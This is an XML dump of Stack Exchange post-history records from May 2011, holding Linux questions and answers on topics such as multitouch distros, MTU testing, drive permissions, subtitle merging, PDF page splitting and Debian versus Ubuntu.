  <row Id="30534" PostHistoryTypeId="5" PostId="12408" RevisionGUID="6acbf0b2-4c77-4db6-95d1-44c5e14c78d4" CreationDate="2011-05-02T11:54:11.293" UserId="1925" Comment="edited body; edited title" Text="I have a Dell Inspiron Duo - The tablet netbook, the 1090. It's beautiful, and I want to get the most out of it.&#xD;&#xA;&#xD;&#xA;I don't mind digging deep into a distro and installing patches and such to get multitouch working, but that's me. I have to think of others that also would like this goodness.&#xD;&#xA;&#xD;&#xA;So my question, which distro has the best multi touch / tablet support out the box.&#xD;&#xA;&#xD;&#xA;&gt; Imagine I have to recommend something&#xD;&#xA;&gt; to someone about to go on an Arctic&#xD;&#xA;&gt; expedition, who has a touch screen laptop, and needs FOSS installed because of cutbacks :)" />
  <row Id="30535" PostHistoryTypeId="4" PostId="12408" RevisionGUID="6acbf0b2-4c77-4db6-95d1-44c5e14c78d4" CreationDate="2011-05-02T11:54:11.293" UserId="1925" Comment="edited body; edited title" Text="Distro recommendation for &quot;Out The Box Multi Touch Tablet Support&quot;" />
  <row Id="30536" PostHistoryTypeId="2" PostId="12462" RevisionGUID="058e4767-49af-4567-8bb4-62fc448d2a75" CreationDate="2011-05-02T12:00:45.623" UserId="3496" Text="How do I install schemas(like [this one][1]; for syntax highlighting, etc) for Kate(which is originally for KDE) running on GNOME 3? Trying to install with the install.sh script took no effect. Also, if you happen to know any good schemas for Kate(for Python), please let me know.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kde-look.org/content/show.php/DarkOxygen?content=140718" />
  <row Id="30537" PostHistoryTypeId="1" PostId="12462" RevisionGUID="058e4767-49af-4567-8bb4-62fc448d2a75" CreationDate="2011-05-02T12:00:45.623" UserId="3496" Text="color shcemas for kate running on GNOME" />
  <row Id="30538" PostHistoryTypeId="3" PostId="12462" RevisionGUID="058e4767-49af-4567-8bb4-62fc448d2a75" CreationDate="2011-05-02T12:00:45.623" UserId="3496" Text="éeditorsàékateà" />
  <row Id="30539" PostHistoryTypeId="25" PostId="12448" RevisionGUID="7ae184db-af30-4021-a6d0-08a5df0ecf99" CreationDate="2011-05-02T12:11:19.480" Comment="http://twitter.com/#!/StackUnix/status/65025573537316864" />
  <row Id="30540" PostHistoryTypeId="2" PostId="12463" RevisionGUID="8695c690-cb30-4548-9f62-848190a73136" CreationDate="2011-05-02T12:15:04.823" UserId="6766" Text="Tim, I will respectfully urge you to ignore your doubt about changing MTU.  Your issue has MTU problem written all over it and I have been a professional network engineer for over 15 years.&#xD;&#xA;&#xD;&#xA;To prove whether MTU helps, conduct tests from your linux machine using ping with the `DF` bit set in the IP header... &#xD;&#xA;&#xD;&#xA;    ping -M do -s 1232 &lt;some pingable internet ip address&gt;&#xD;&#xA;&#xD;&#xA;I calculated the `-s` parameter assuming your PPPoE IP MTU is 1300 bytes.  If that ping succeeds, then use `-s 1432` and watch what happens... if the ping it now fails, you have conclusive proof that there is an MTU issue (assuming you have not set your Ethernet link MTU lower).&#xD;&#xA;&#xD;&#xA;Also remember that MTU must be set on *both* sides of the link... so you would need to do this on your modem as well." />
  <row Id="30541" PostHistoryTypeId="5" PostId="12462" RevisionGUID="3e9310e0-8470-483e-9507-01ddb03784aa" CreationDate="2011-05-02T12:19:32.810" UserId="688" Comment="added 2 characters in body; edited tags; edited title" Text="How do I install schemas(like [this one][1]; for syntax highlighting, etc) for Kate (which is originally for KDE) running on GNOME 3? Trying to install with the install.sh script took no effect. Also, if you happen to know any good schemas for Kate (for Python), please let me know.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kde-look.org/content/show.php/DarkOxygen?content=140718" />
  <row Id="30542" PostHistoryTypeId="4" PostId="12462" RevisionGUID="3e9310e0-8470-483e-9507-01ddb03784aa" CreationDate="2011-05-02T12:19:32.810" UserId="688" Comment="added 2 characters in body; edited tags; edited title" Text="How to install color schemas for Kate running on GNOME" />
  <row Id="30543" PostHistoryTypeId="6" PostId="12462" RevisionGUID="3e9310e0-8470-483e-9507-01ddb03784aa" CreationDate="2011-05-02T12:19:32.810" UserId="688" Comment="added 2 characters in body; edited tags; edited title" Text="éeditorsàékateàégnome3à" />
  <row Id="30549" PostHistoryTypeId="2" PostId="12465" RevisionGUID="a45cec42-ada5-4a98-81f7-96c83eb109bf" CreationDate="2011-05-02T13:15:58.260" UserId="3496" Text="Permissions to my portable hard drive on Arch is read-only and it seems I can't change it- when I change it from the GUI it takes no effect. So, how can I change it through the terminal?&#xD;&#xA;&#xD;&#xA;Is there some config file relating to accessing hard drives? I'm asking because there's no problem such problem with SD cards." />
  <row Id="30550" PostHistoryTypeId="1" PostId="12465" RevisionGUID="a45cec42-ada5-4a98-81f7-96c83eb109bf" CreationDate="2011-05-02T13:15:58.260" UserId="3496" Text="problem changing permissions in arch" />
  <row Id="30551" PostHistoryTypeId="3" PostId="12465" RevisionGUID="a45cec42-ada5-4a98-81f7-96c83eb109bf" CreationDate="2011-05-02T13:15:58.260" UserId="3496" Text="épermissionsàéhardödiskà" />
  <row Id="30553" PostHistoryTypeId="5" PostId="12465" RevisionGUID="4ce7e0ac-2524-41c9-8e20-00cfbee47cda" CreationDate="2011-05-02T13:28:36.607" UserId="3496" Comment="added 83 characters in body" Text="Permissions to my portable hard drive on Arch is read-only and it seems I can't change it- when I change it from the GUI it takes no effect. So, how can I change it through the terminal?&#xD;&#xA;&#xD;&#xA;Is there some config file relating to accessing hard drives? I'm asking because there's no problem such problem with SD cards. I also can't seem to 'Safely Remove Harddrive' although no processes are going on." />
  <row Id="30554" PostHistoryTypeId="5" PostId="4679" RevisionGUID="206fbad4-3356-44ac-86ba-a338437b5a5b" CreationDate="2011-05-02T14:01:44.037" UserId="6761" Comment="grammar/spelling" Text="Regarding the question you are trying to answer:&#xD;&#xA;&#xD;&#xA;&gt;Create a user john who should not get an interactive shell.&#xD;&#xA;&#xD;&#xA;The question means &quot;Create a user named `john` who won't be able to log in and run commands from a shell&quot;. Interactive describe the way the shell works: the user types something, and the shell does something accordingly (there is a kind of communication between the user and the shell). The word &quot;interactive&quot; doesn't really add any information to the question, because as long as there is a user typing commands, the shell session is interactive.&#xD;&#xA;&#xD;&#xA;There is also the non-interactive mode, where the user saves a series of commands they want to run in a file (called a shell script), and executes the file afterwards. Some commands behave differently depending on whether the shell is run interactively or non-interactively. You can read more [here][1] (this document is for `bash`, but the same concept applies for other shells).&#xD;&#xA;&#xD;&#xA;On how to create such a user, if you skim through `man useradd` there is an option to set the login shell, `-s` or `--shell`. You can also create a user normally, in anyway you want (which I assume you know already?), then edit `/etc/passwd` like in [msw's answer][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/intandnonint.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4676/interactive-shell-vs-non-interactive-shell/4678#4678" />
  <row Id="30555" PostHistoryTypeId="24" PostId="4679" RevisionGUID="206fbad4-3356-44ac-86ba-a338437b5a5b" CreationDate="2011-05-02T14:01:44.037" Comment="Proposed by 6761 approved by 73 edit id of 346" />
  <row Id="30556" PostHistoryTypeId="5" PostId="12461" RevisionGUID="fcb3d302-80af-48db-a991-9e8fc44041b8" CreationDate="2011-05-02T14:01:47.797" UserId="4787" Comment="Remove thanks" Text="That's what slots are for. If the package is not slotted then the only thing I can think of is to create a personal overlay and a new package/ebuild that is slotted." />
  <row Id="30557" PostHistoryTypeId="24" PostId="12461" RevisionGUID="fcb3d302-80af-48db-a991-9e8fc44041b8" CreationDate="2011-05-02T14:01:47.797" Comment="Proposed by 4787 approved by 73 edit id of 347" />
  <row Id="30559" PostHistoryTypeId="25" PostId="12453" RevisionGUID="8cbb6201-d7f6-4455-9dd8-9a97288eeef7" CreationDate="2011-05-02T15:11:19.550" Comment="http://twitter.com/#!/StackUnix/status/65070872838414336" />
  <row Id="30560" PostHistoryTypeId="4" PostId="12465" RevisionGUID="7d705801-b41d-4f2b-8ee9-f8ca8ea032d3" CreationDate="2011-05-02T15:54:43.183" UserId="2511" Comment="edited tags; edited title" Text="How do I change permissions on an external hard drive in Arch Linux?" />
  <row Id="30561" PostHistoryTypeId="6" PostId="12465" RevisionGUID="7d705801-b41d-4f2b-8ee9-f8ca8ea032d3" CreationDate="2011-05-02T15:54:43.183" UserId="2511" Comment="edited tags; edited title" Text="épermissionsàéremovableöstorageà" />
  <row Id="30562" PostHistoryTypeId="2" PostId="12466" RevisionGUID="c7f62260-aebc-4e35-9504-812c2c6c0f95" CreationDate="2011-05-02T16:02:19.050" UserId="3389" Text="Do an `lspci` from a root prompt.  Do you see anything about &quot;USB 3.0&quot; host adapter in that list?  If so, you should enjoy the same support from USB 3.0 devices that Linux provides for USB 2.0 and USB 1.1, which ranges from &quot;Works great!&quot; to &quot;I had to do a bunch of crazy stuff in `udev` to get this to do what I want&quot; to &quot;There's only Windows drivers for this!&quot;." />
  <row Id="30563" PostHistoryTypeId="5" PostId="2286" RevisionGUID="c1dc9f65-135f-4154-9770-8fdb51c1c57f" CreationDate="2011-05-02T16:09:39.447" UserId="-1" Comment="you need the -i flag, otherwise input is from stdin" Text="This is pretty trivially done, since `.srt` files are just text files that contain time stamps -- all you need to do is add the length of `cd1.avi` to the times of all the subtitles in `cd2.srt`. You can find the length of `cd1.avi` with `ffmpeg`:&#xD;&#xA;&#xD;&#xA;    ffmpeg -i cd1.avi  # Look for the Duration: line&#xD;&#xA;&#xD;&#xA;And then add that to `cd2.srt` using `srttool`&#xD;&#xA;&#xD;&#xA;    srttool -d 12345 -i cd2.srt  # 12345 is the amount to add in seconds&#xD;&#xA;&#xD;&#xA;or:&#xD;&#xA;&#xD;&#xA;    srttool -a hh:mm:ss -i cd2.srt  # The first subtitle will now start at hh:mm:ss&#xD;&#xA;&#xD;&#xA;Then you should just be able to concatenate the files together and renumber:&#xD;&#xA;&#xD;&#xA;    srttool -r -i cd.srt&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I picked `srttool` because in Arch it comes with `transcode`, which you installed for [this question](http://unix.stackexchange.com/questions/2273/how-do-i-merge-two-avi-files-into-one); there are lots of other tools that can shift and merge `.srt` files too, and at least one website, [submerge](http://submerge.delarue-berlin.de/)&#xD;&#xA;" />
  <row Id="30564" PostHistoryTypeId="24" PostId="2286" RevisionGUID="c1dc9f65-135f-4154-9770-8fdb51c1c57f" CreationDate="2011-05-02T16:09:39.447" Comment="Proposed by 82.157.38.189|d5c7bdd1-62c8-4af2-856c-571ed9c60bd4 approved by 73 edit id of 348" />
  <row Id="30565" PostHistoryTypeId="2" PostId="12467" RevisionGUID="5450f807-23a0-43a8-bb4f-70d3c134a871" CreationDate="2011-05-02T16:28:35.883" UserId="6155" Text="If I search on Internet for minimum requirements to install a 64-bit operating system, Microsoft and allied forums recommend 4 GB RAM as the minimum criteria. On the other hand, when I look at Linux communities and say I have Dual Core Processor and 2 GB of RAM they say it's a 64-bit processor and you can go for 64-bit OS for efficiency. Now my question is what matters to install a 64-bit OS? Just RAM or anything more?" />
  <row Id="30566" PostHistoryTypeId="1" PostId="12467" RevisionGUID="5450f807-23a0-43a8-bb4f-70d3c134a871" CreationDate="2011-05-02T16:28:35.883" UserId="6155" Text="Hardware to install 64-bit OS" />
  <row Id="30567" PostHistoryTypeId="3" PostId="12467" RevisionGUID="5450f807-23a0-43a8-bb4f-70d3c134a871" CreationDate="2011-05-02T16:28:35.883" UserId="6155" Text="élinuxàé64bità" />
  <row Id="30568" PostHistoryTypeId="2" PostId="12468" RevisionGUID="fa975d19-df75-4f4f-a18d-e24c1d9443b8" CreationDate="2011-05-02T16:36:03.220" UserId="6766" Text="I have a Dell 710 with Quad Bcom NetExtreme 5709s.  In the name of expediency, I'm trying to boot off the Squeeze live CD, but the Broadcom drivers are in non-free, so they don't come up when you boot.&#xD;&#xA;&#xD;&#xA;No problem, I think to myself.  I will sneaker-net the bnx2-firmware deb and all is good.&#xD;&#xA;&#xD;&#xA;I have unpacked the deb and successfully executed `modprobe bnx2`, but I still can't see the interfaces in `ip link show`.  What else should I do to bring these interfaces up without a reboot?" />
  <row Id="30569" PostHistoryTypeId="1" PostId="12468" RevisionGUID="fa975d19-df75-4f4f-a18d-e24c1d9443b8" CreationDate="2011-05-02T16:36:03.220" UserId="6766" Text="Debian Live - Squeeze with Broadcom NetExtreme 5709" />
  <row Id="30570" PostHistoryTypeId="3" PostId="12468" RevisionGUID="fa975d19-df75-4f4f-a18d-e24c1d9443b8" CreationDate="2011-05-02T16:36:03.220" UserId="6766" Text="élinuxàédebianàéethernetàébroadcomà" />
  <row Id="30571" PostHistoryTypeId="5" PostId="12468" RevisionGUID="b54bb8d8-0985-4f89-a136-e481a452e72e" CreationDate="2011-05-02T16:49:09.540" UserId="6766" Comment="added 41 characters in body" Text="I have a Dell 710 with Quad Bcom NetExtreme 5709s.  In the name of expediency, I'm trying to boot off the Squeeze live CD, but the Broadcom drivers are in non-free, so they don't come up when you boot.&#xD;&#xA;&#xD;&#xA;No problem, I think to myself.  I will sneaker-net the bnx2-firmware deb and all is good.&#xD;&#xA;&#xD;&#xA;I can see the interfaces in `lspci`, I have unpacked the deb and successfully executed `modprobe bnx2`; however I still can't see the interfaces in `ip link show`.  What else should I do to bring these interfaces up without a reboot?" />
  <row Id="30572" PostHistoryTypeId="2" PostId="12469" RevisionGUID="27c46295-786b-4405-a58d-c29c6805a4d8" CreationDate="2011-05-02T17:20:28.203" UserId="6215" Text="What are the main advantages of using Debian instead of Ubuntu?" />
  <row Id="30573" PostHistoryTypeId="1" PostId="12469" RevisionGUID="27c46295-786b-4405-a58d-c29c6805a4d8" CreationDate="2011-05-02T17:20:28.203" UserId="6215" Text="Advantages of Debian over Ubuntu" />
  <row Id="30574" PostHistoryTypeId="3" PostId="12469" RevisionGUID="27c46295-786b-4405-a58d-c29c6805a4d8" CreationDate="2011-05-02T17:20:28.203" UserId="6215" Text="éubuntuàédebianàédistrosàédistributionöchoiceà" />
  <row Id="30575" PostHistoryTypeId="2" PostId="12470" RevisionGUID="39072a73-acf1-4ab9-ad0f-cffa4f41abfe" CreationDate="2011-05-02T17:22:11.073" UserId="1270" Text="Hi, how can I change the shutter speed of my webcam in Linux? &#xD;&#xA;&#xD;&#xA;I'm using fedora 14" />
  <row Id="30576" PostHistoryTypeId="1" PostId="12470" RevisionGUID="39072a73-acf1-4ab9-ad0f-cffa4f41abfe" CreationDate="2011-05-02T17:22:11.073" UserId="1270" Text="How can I change the shutter speed of my webcam in Linux?" />
  <row Id="30577" PostHistoryTypeId="3" PostId="12470" RevisionGUID="39072a73-acf1-4ab9-ad0f-cffa4f41abfe" CreationDate="2011-05-02T17:22:11.073" UserId="1270" Text="élinuxàéwebcamà" />
  <row Id="30578" PostHistoryTypeId="6" PostId="12453" RevisionGUID="b6a9d8b4-db6c-4fe4-8425-66aef65cddf1" CreationDate="2011-05-02T17:28:57.810" UserId="6803" Comment="Added two tags related to this question." Text="élinuxàékernelàéarchitectureà" />
  <row Id="30579" PostHistoryTypeId="24" PostId="12453" RevisionGUID="b6a9d8b4-db6c-4fe4-8425-66aef65cddf1" CreationDate="2011-05-02T17:28:57.810" Comment="Proposed by 6803 approved by 29 edit id of 349" />
  <row Id="30580" PostHistoryTypeId="2" PostId="12471" RevisionGUID="829bed6c-3bc3-4c73-b3e6-0607257e8ef2" CreationDate="2011-05-02T17:35:45.923" UserId="6766" Text="Advantages: More thorough testing, and structured release cycles.  End-result, a more stable system.&#xD;&#xA;&#xD;&#xA;Disadvantage: The `stable` archives are behind the latest version of any software release including -dev libraries.  This means you have to manually install dependencies in order fill pre-reqs for that one-cool-program you really need.  Sometimes, you can work around this with [debian-backports](http://backports.debian.org/)." />
  <row Id="30581" PostHistoryTypeId="2" PostId="12472" RevisionGUID="96a7103b-6996-4cbc-9ba6-d534c161f756" CreationDate="2011-05-02T17:47:01.497" UserId="1952" Text="If it's possible at all, it depends on the model. It won't be possible with simple, built in webcams." />
  <row Id="30582" PostHistoryTypeId="2" PostId="12473" RevisionGUID="47e676b2-d653-411b-89e9-b3e19f029777" CreationDate="2011-05-02T18:04:56.903" UserId="29" Text="[@behrooz](http://unix.stackexchange.com/users/7139/behrooz) is correct.Unfortunately `uname` requires you to know architectures. Actually, I was looking for a list of architectures and I found [this article](http://www.cyberciti.biz/faq/linux-how-to-find-if-processor-is-64-bit-or-not/) that answers your question. In regards to `uname -m`:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;x86_64 GNU/Linux indicates that you've a 64bit Linux kernel running. If you use see i386/i486/i586/i686 it is a 32 bit kernel.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;You can also determine what the actual hardware CPU is capable of by:&#xD;&#xA;&#xD;&#xA;    grep flags /proc/cpuinfo&#xD;&#xA;&#xD;&#xA;Look for the following in the output (all flags retrieved from [this stackoverflow answer](http://stackoverflow.com/questions/246007/how-to-determine-whether-a-given-linux-is-32-bit-or-64-bit/246014#246014) for the same question )&#xD;&#xA;&#xD;&#xA; * `lm` flag means Long mode cpu - 64 bit CPU&#xD;&#xA; * `tm` flag means Protected mode - 32-bit CPU&#xD;&#xA; * `rm` flag means Real Mode - 16 bit CPU" />
  <row Id="30583" PostHistoryTypeId="2" PostId="12474" RevisionGUID="97d5c02c-32d7-4e9e-affc-fc3f7c261f3c" CreationDate="2011-05-02T18:10:23.047" UserId="1925" Text="Most webcams, being optimized for capturing video data in a tiny size and budget, don't have shutters at all and thus shutter speed is an irrelevant setting. Really good ones might have some kind of aperture control. Generally they will just use the drivers to set different sensitivities on the capture chip and do post processing to get a reasonably lighted picture." />
  <row Id="30584" PostHistoryTypeId="25" PostId="12470" RevisionGUID="b617077b-4b22-44ca-ac89-ed478f8addf9" CreationDate="2011-05-02T18:11:20.153" Comment="http://twitter.com/#!/StackUnix/status/65116174316347392" />
  <row Id="30585" PostHistoryTypeId="6" PostId="12453" RevisionGUID="d2cc5132-44f5-4102-a876-60c32bc8dff6" CreationDate="2011-05-02T18:12:07.070" UserId="29" Comment="it appears that this wants a cli answer" Text="élinuxàécommandölineàékernelàéarchitectureà" />
  <row Id="30589" PostHistoryTypeId="2" PostId="12476" RevisionGUID="02fc97e5-65e1-46e0-90c2-cd9808aa5217" CreationDate="2011-05-02T18:17:41.453" UserId="1925" Text="The 4G minimum has nothing to do with the requirements of the OS, it is about efficiency. 32 bit systems, by nature the address values needed to talk to the memory being shorter, are actually more efficient up to a point.&#xD;&#xA;&#xD;&#xA;32 bit systems can only address up to 4G of memory at a time. On modern linux kernels, this limitation is per process, so even a 32 bit OS can use more RAM but it accomplishes this by having each application only address up to some 4G block partitioned off from the whole stash.&#xD;&#xA;&#xD;&#xA;Where 64 bit comes in is that it can offer processes the ability to address the entire system memory at once, allowing memory hungry things more than 4G if they need it. However it comes with a trade off. Since it uses more bits to save and handle addresses, the machine code gets bigger and runs just a tad slower.&#xD;&#xA;&#xD;&#xA;Hence you can run a 64bit OS on 2G just fine, but it doesn't really make sense to because a 32bit OS is likely to be faster on the same system. Even when you cross the line into larger RAM, it is still possible that a 32 bit system will be faster because it is rare for any individual process to need that much RAM, more often you want to run lots of processes that all use some piece of the RAM." />
  <row Id="30591" PostHistoryTypeId="2" PostId="12477" RevisionGUID="bdfaf944-72d0-4fe7-a75c-00b8ef003021" CreationDate="2011-05-02T18:22:00.670" UserId="4843" Text="The ONLY Answer _that I know_ to this Question is:&#xD;&#xA;&#xD;&#xA;&gt; Stability and Security." />
  <row Id="30592" PostHistoryTypeId="2" PostId="12478" RevisionGUID="5d0ff74b-e4c5-44b0-92e0-08bf2f30cec8" CreationDate="2011-05-02T18:38:23.583" UserId="4843" Text="I installed an application [ e.g. fdisk ]. But it required libraries for execution. I am looking for utility/tool which will help me to create a static binary from _already_ installed binaries. So that I can use it anywhere. &#xD;&#xA;&#xD;&#xA;The only reliable tools that I found is `ErmineLight` from &#xD;&#xA;&lt;a href=&quot;http://www.magicermine.com/trial/ErmineLightTrial.i386/ErmineLightTrial.i386/ErmineLightTrial.i386.html&quot;&gt;here&lt;/a&gt; , but this one is share-ware.&#xD;&#xA;&#xD;&#xA;Is there any open-source software is available for the same ?" />
  <row Id="30593" PostHistoryTypeId="1" PostId="12478" RevisionGUID="5d0ff74b-e4c5-44b0-92e0-08bf2f30cec8" CreationDate="2011-05-02T18:38:23.583" UserId="4843" Text="Creating Static Binary " />
  <row Id="30594" PostHistoryTypeId="3" PostId="12478" RevisionGUID="5d0ff74b-e4c5-44b0-92e0-08bf2f30cec8" CreationDate="2011-05-02T18:38:23.583" UserId="4843" Text="ébinaryàéstaticà" />
  <row Id="30595" PostHistoryTypeId="2" PostId="12479" RevisionGUID="0e0877bf-3e82-428a-9d85-ae2b7351ebe7" CreationDate="2011-05-02T18:45:01.497" UserId="6245" Text="This is, perhaps, a bit of a bizarre one but I don't even know where to _start_ looking so if anyone can point me in the right direction, I'll be very grateful.&#xD;&#xA;&#xD;&#xA;I've just done a fresh install of my distribution, which included moving to the next release (yup, it's Ubuntu) and so am rebuilding/installing a load of stuff that I usually have in addition to whatever the distribution provides (latest versions and so forth).  Anyway, I was merrily doing so with one (a slightly customised version of emacs) when I found `make` complaining a lot.  Looking at the makefile(s), I found that the configure script hadn't put any &quot;continuation line&quot; characters in.&#xD;&#xA;&#xD;&#xA;The configure script is rather long (this is emacs, after all) and just searching for `\` is rather pointless!  So does anyone have any idea why this might be happening?&#xD;&#xA;&#xD;&#xA;(As I said, it's a fresh install so maybe it's just some package that I forgot to install.  But it's a bit bizarre.)" />
  <row Id="30596" PostHistoryTypeId="1" PostId="12479" RevisionGUID="0e0877bf-3e82-428a-9d85-ae2b7351ebe7" CreationDate="2011-05-02T18:45:01.497" UserId="6245" Text="configure not adding line-continuation characters to makefile" />
  <row Id="30597" PostHistoryTypeId="3" PostId="12479" RevisionGUID="0e0877bf-3e82-428a-9d85-ae2b7351ebe7" CreationDate="2011-05-02T18:45:01.497" UserId="6245" Text="émakeà" />
  <row Id="30598" PostHistoryTypeId="2" PostId="12480" RevisionGUID="eb07b00e-1b6f-4471-bf7e-a714ae423769" CreationDate="2011-05-02T19:10:41.647" UserId="6245" Text="I have a file with the extension '.pages´.  I _think_ that means iWork, but I'm not sure.  Anyway, searching for &quot;convert pages linux&quot; produces a fair few false negatives!&#xD;&#xA;&#xD;&#xA;Does anyone happen to know a way to convert it to something reasonable on Linux?" />
  <row Id="30599" PostHistoryTypeId="1" PostId="12480" RevisionGUID="eb07b00e-1b6f-4471-bf7e-a714ae423769" CreationDate="2011-05-02T19:10:41.647" UserId="6245" Text="How do I convert a '.pages' file to something unix-y?" />
  <row Id="30600" PostHistoryTypeId="3" PostId="12480" RevisionGUID="eb07b00e-1b6f-4471-bf7e-a714ae423769" CreationDate="2011-05-02T19:10:41.647" UserId="6245" Text="éconversionàédocumentsà" />
  <row Id="30601" PostHistoryTypeId="2" PostId="12481" RevisionGUID="434ba655-fb69-49c0-a301-937f01185ffa" CreationDate="2011-05-02T19:29:10.727" UserId="6175" Text="Pages documents are zip-compressed archives. Unzip it and you'll find an index.xml file from which you can extract the contents. There is also a [VB utility][1] on sf.net that might have more information on the XML structure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pagesconvert.sourceforge.net/" />
  <row Id="30602" PostHistoryTypeId="2" PostId="12482" RevisionGUID="e76eb648-dc89-4246-9f23-16724508bee0" CreationDate="2011-05-02T19:57:20.627" UserId="6215" Text="I have a scanned pdf file which has scanned two pages on one virtual page (page in pdf file).&#xD;&#xA;&#xD;&#xA;The resolution is with good quality. The problem is I have to zoom when reading and drag from left to the right.&lt;br&gt;&#xD;&#xA;Is there some command (`convert`, `pdftk`, ...) or script that can convert this pdf file with normal pages (one page from book = one page in pdf file)?" />
  <row Id="30603" PostHistoryTypeId="1" PostId="12482" RevisionGUID="e76eb648-dc89-4246-9f23-16724508bee0" CreationDate="2011-05-02T19:57:20.627" UserId="6215" Text="Split pages in pdf" />
  <row Id="30604" PostHistoryTypeId="3" PostId="12482" RevisionGUID="e76eb648-dc89-4246-9f23-16724508bee0" CreationDate="2011-05-02T19:57:20.627" UserId="6215" Text="écommandölineàéshellöscriptàéconversionàépdfàéconvertà" />
  <row Id="30605" PostHistoryTypeId="2" PostId="12483" RevisionGUID="ec19e1d2-b6ef-410b-8253-07051ecc9998" CreationDate="2011-05-02T20:51:15.783" UserId="885" Text="The best I have to offer is a combination of two tools:&#xD;&#xA;&#xD;&#xA;* [Pdfjam](http://www.warwick.ac.uk/go/pdfjam), based on the [pdfpages](http://mirror.math.ku.edu/tex-archive/macros/latex/contrib/pdfpages/pdfpages.pdf) LaTeX package, to crop the pages;&#xD;&#xA;* [Pdftk](http://www.pdfhacks.com/pdftk/), to put the left and right halves back together.&#xD;&#xA;&#xD;&#xA;Both tools are needed because as far as I can tell pdfpages isn't able to apply two different transformations to the same page in one stream. In the call to `pdftk`, replace 42 by the numer of pages in the input document (`2up.pdf`).&#xD;&#xA;&#xD;&#xA;    pdfjam --outfile odd.pdf --trim '0cm 0cm 14.85cm 0cm' --scale '1.141' -- 2up.pdf&#xD;&#xA;    pdfjam -o even.pdf --trim '14.85cm 0cm 0cm 0cm' --scale 1.141 2up.pdf&#xD;&#xA;    pdftk O=odd.pdf E=even.pdf cat $(i=1; while [ $i -le 42 ]; do echo O$i E$i; i=$(($i+1)); done) output all.pdf&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30606" PostHistoryTypeId="2" PostId="12484" RevisionGUID="53ce7b96-8e19-4f3e-a9ab-438c7a3c99e4" CreationDate="2011-05-02T20:58:30.923" UserId="885" Text="Here's a guess that may or may not be right.&#xD;&#xA;&#xD;&#xA;* Hypothesis: You've already configured and built Emacs in that directory before the upgrade.&#xD;&#xA;* Hypothesis: Your shell (`/bin/sh`) changed during the upgrade.&#xD;&#xA;* Hypothesis: Emacs caches some data about the shell.&#xD;&#xA;&#xD;&#xA;If these hypotheses are true, the configure script may have cached information about your shell's handling of backslashes. There are incompatibilities between shells in that respect, in particular with the `echo` built-in, so if the cache contains outdated information, the output could be missing backslashes or have doubled backslashes.&#xD;&#xA;&#xD;&#xA;Run `make distclean` to wipe the cache and try again.&#xD;&#xA;" />
  <row Id="30607" PostHistoryTypeId="6" PostId="12479" RevisionGUID="372b9db2-90d0-43ba-8618-24423c6bb14f" CreationDate="2011-05-02T20:59:12.077" UserId="885" Comment="edited tags" Text="écompilingàémakeàéconfigureà" />
  <row Id="30608" PostHistoryTypeId="2" PostId="12485" RevisionGUID="73aa7f39-4940-46d5-81db-8c68e219e358" CreationDate="2011-05-02T21:00:01.147" UserId="6270" Text="Hi guys. So I installed CentOS 5.6 on a box at my house and it is not recognizing all my memory. I have 2gb in the machine but when you run a 'free -m' or a 'top' or a 'cat /proc/meminfo' it only shows that there are 896796kB on the machine.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="30609" PostHistoryTypeId="1" PostId="12485" RevisionGUID="73aa7f39-4940-46d5-81db-8c68e219e358" CreationDate="2011-05-02T21:00:01.147" UserId="6270" Text="CentOS 5.6 x86 64 Not seeing all my memory." />
  <row Id="30610" PostHistoryTypeId="3" PostId="12485" RevisionGUID="73aa7f39-4940-46d5-81db-8c68e219e358" CreationDate="2011-05-02T21:00:01.147" UserId="6270" Text="ébashàécentosàémemoryà" />
  <row Id="30611" PostHistoryTypeId="6" PostId="12478" RevisionGUID="f78bcb09-4c35-4083-9074-0f5e9b15770b" CreationDate="2011-05-02T21:00:10.157" UserId="885" Comment="edited tags" Text="éexecutableàélinkeràéstaticölinkingà" />
  <row Id="30612" PostHistoryTypeId="2" PostId="12486" RevisionGUID="fef0d9d6-652c-4ef5-a3e0-cb61b6d88f21" CreationDate="2011-05-02T21:07:17.213" UserId="7098" Text="ImageMagick's Convert command can help you to crop your file in 2 parts.&#xD;&#xA;See http://www.imagemagick.org/Usage/crop/&#xD;&#xA;&#xD;&#xA;If I were you, I'd write a (shell) script like this:&#xD;&#xA;&#xD;&#xA; 1. Split your file with [pdfsam](http://www.pdfsam.org/): 1 page = 1 file on disk (Format doesn't matter. Choose one that ImageMagick knows. I'd just take PS or PDF.&#xD;&#xA; 2. For each page, [crop the first half](http://www.imagemagick.org/Usage/crop/) and put it to a file named ${PageNumber}A&#xD;&#xA;&#xD;&#xA; 3. Crop the second half and put it to a file named ${PageNumber}B.&#xD;&#xA;&#xD;&#xA;    You get 1A.pdf, 1B.pdf, 2A.pdf, 2B.pdf, etc.&#xD;&#xA; 4. Now, assemble this again in a new PDF.&#xD;&#xA;   [There are many methods to do this.](http://www.cestpas.net/Linux/assembler-des-pages-pdf)" />
  <row Id="30613" PostHistoryTypeId="2" PostId="12487" RevisionGUID="afa9e41a-3b22-4674-82e9-a7f6d0ea8120" CreationDate="2011-05-02T21:09:33.703" UserId="885" Text="You'd have to further distinguish between Debian stable and testing/unstable, and between following all Ubuntu releases or only LTS releases.&#xD;&#xA;&#xD;&#xA;* Debian stable and Ubuntu LTS release only every couple of years. Pro: you're not upgrading all the time. Con: the software and especially the drivers may get updated.&#xD;&#xA;* Ubuntu has a few more things that work out of the box for inexperienced users, and a more polished recommended user interface. Debian is a little less beginner-friendly (fewer front-ends that hide the messy details) and a little more geek-friendly (fewer front-ends that hide the messy details).&#xD;&#xA;* The core software (Ubuntu main) is more integrated. Once you go to universe, Debian is a little better because it's either more polished (stable) or more up-to-date (testing).&#xD;&#xA;&#xD;&#xA;All in all, the difference isn't huge. I prefer to go with Debian stable on my machines, but recommend Ubuntu to others, and tend to use Ubuntu on newer hardware (especially laptops).&#xD;&#xA;" />
